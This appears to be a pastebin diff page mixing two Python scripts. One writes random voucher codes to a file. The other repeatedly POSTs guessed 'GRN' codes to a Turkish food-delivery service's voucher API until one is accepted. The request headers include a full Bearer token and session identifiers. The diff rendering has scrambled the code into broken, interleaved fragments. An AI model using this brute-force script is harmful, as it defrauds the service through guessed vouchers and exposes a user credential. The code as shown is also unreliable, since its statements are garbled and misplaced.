Facebook
From sdsds, 1 Year ago, written in Plain Text.
This paste is a reply to Re: asdasadas from asdasd - go back
Embed
Viewing differences between Re: asdasadas and Re: Re: asdasadas
import random
import string

def generate_random_code():
    prefix 
string
import requests
import time
url 
"grn"
    middle_numbers 
"https://tr.fd-api.com/.../incentives-wallet/vouchers/save..."
headers 
''.{
"Accept": "application/json, text/plain, */*",
"Accept-Encoding": "gzip, deflate, br, zstd",
"Accept-Language": "tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7",
"Authorization": "Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImtleW1ha2VyLWtleS12b2xvLXlzLXRyIiwidHlwIjoiSldUIn0.eyJpZCI6IjFyMTc4M29uaGd1MmJ0Zm9sd2YydGViNmljZTB3bGx5MHE3MG51Ym4iLCJjbGllbnRfaWQiOiJ2b2xvIiwidXNlcl9pZCI6InRycmd3eXlzIiwiZXhwaXJlcyI6MTcxMDIwMTkxOCwidG9rZW5fdHlwZSI6ImJlYXJlciIsInNjb3BlIjoiQVBJX0NVU1RPTUVSIEFQSV9SRUdJU1RFUkVEX0NVU1RPTUVSIn0.BKKWTpNHsUwCrUTZt4efXT2zsrPqZgPVvYdalnHugaruVr40-tV6kaAEbynE51hcF5jEsNWgL6hHsZBv3qSEyzy5LqV7arBlWW4gwJzbeBJYQDytpjxr-Wz1z8saeH5YQrS_3t9HbVRl4MHqattD8vCbG2nZbQHTM0rOT7xT5Tj0GoPiGJWfCBdQUds1w2wDr0Vv1xHnZmT6wr5lz58lnmyFz3t3-f_l6e-Op2XudXTsn8clxRA9kyv4ClVBrYJkpuScQ093f-6trseU_hZ38xnJUKFxqQqsqhYL25jcIOeiv_Bpzpm6oWCm__xbYajGdQbqDPjDGkoAYaRWc1IpxQ",
"Cache-Control": "no-cache",
"Content-Length": "19",
"Content-Type": "application/json;charset=UTF-8",
"Origin": "https://www.yemeksepeti.com",
"Perseus-Client-Id": "1707855074604.407735925208176450.s9q8q3wp2d",
"Perseus-Session-Id": "1710192762942.754482896840559200.lvy09xe2d8",
"Pragma": "no-cache",
"Referer": "https://www.yemeksepeti.com/",
"Sec-Ch-Ua": '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": '"Windows"',
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "cross-site",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
"X-Fp-Api-Key": "volo"
}
found = False
while not found:
    random_n = random.randint(100, 999)
    random_t = ''.
join(random.choices(string.digits, ascii_uppercase, k=2))
    middle_letters = ''.join(random.choices(string.ascii_lowercase, k=4))
    return prefix + middle_numbers + middle_letters

def save_to_file(filename, num_codes):
    with open(filename, 'w') as file:
        for _ in range(num_codes):
            
code = generate_random_code()
            file.write(code 
"GRN" 'n')

num_codes_to_generate 
str(random_n) + random_t
    # Sample data
    data 
100
filename 
{
    "code": code
    }
    # Make the POST request
    response 
"random_codes.txt"
save_to_file(filename, num_codes_to_generate)
print(f"{num_codes_to_generate} rastgele kod '{filename}' dosyasına kaydedildi.")
requests.post(url, json=data, headers=headers)
    # Check if request was successful
    if response.status_code == 200:
        print("Voucher applied successfully!")
        found = True
else:
    print("Error:", response.text, code)
    time.sleep(0.5)